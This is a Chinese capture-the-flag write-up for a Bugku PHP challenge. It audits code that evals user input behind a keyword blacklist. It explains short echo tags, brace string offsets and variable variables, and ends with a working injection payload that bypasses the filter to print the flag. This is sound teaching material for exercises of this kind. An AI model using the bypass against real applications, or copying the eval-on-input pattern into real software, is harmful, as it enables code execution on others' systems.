Bugku-web(冬至红包)
写个 wp 这里是一个代码审计,首先用注释进行解释:
<?php
error_reporting(0);
require __DIR__.'/flag.php';
$exam = 'return\''.sha1(time()).'\';';
if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo '长度不允许';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo '关键字不允许';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo '马老师发生甚么事了';
}
echo '<hr>';
highlight_file(__FILE__);
看的出,我们的绕过必须是规定长度,同时不能包含打印之类的东西,flag,echo等等,但是由于eval的存在,我们可以使用代码转义,也就是任意代码执行。 首先为了能够echo,你需要知道: <?=$aaaaa?> 等价于 <?php echo $aaaaa; ?> ?>后面的字符串会打印出来,但不会转义。即php结束后会打印出你后面加上的字符串 举个例子:
<?php
$a='flag';
echo $a
?>123456<?=$a?>
它的执行结果为:
flag123456flag
相信你已经懂了。
然后为了能够拼凑出flag,你需要知道: 对于字符串可以使用大括号{} 对字符串进行修改 举个例子:
<?php
$a='fla*';
$a{3}='g';
echo $a;
?>
执行结果为
flag
相信你已经明白了。
最后由于你的payload是不能直接出现flag的,所以你要借助$a来访问,访问方法:
可变变量 如果一个变量的值正好是一个变量的名称,再加一个'$' 可以访问到指向的那个变量。 可以理解为那个变量具有多义性,使用更多的一个'$' 来访问第二个意义
payload参考:
?flag=$a='fla*';$a{3}='g';?>11111111111111111;<?=$$a;?>
注意你并没有通过sha加解密绕过,所以不用管那个sha啦。
|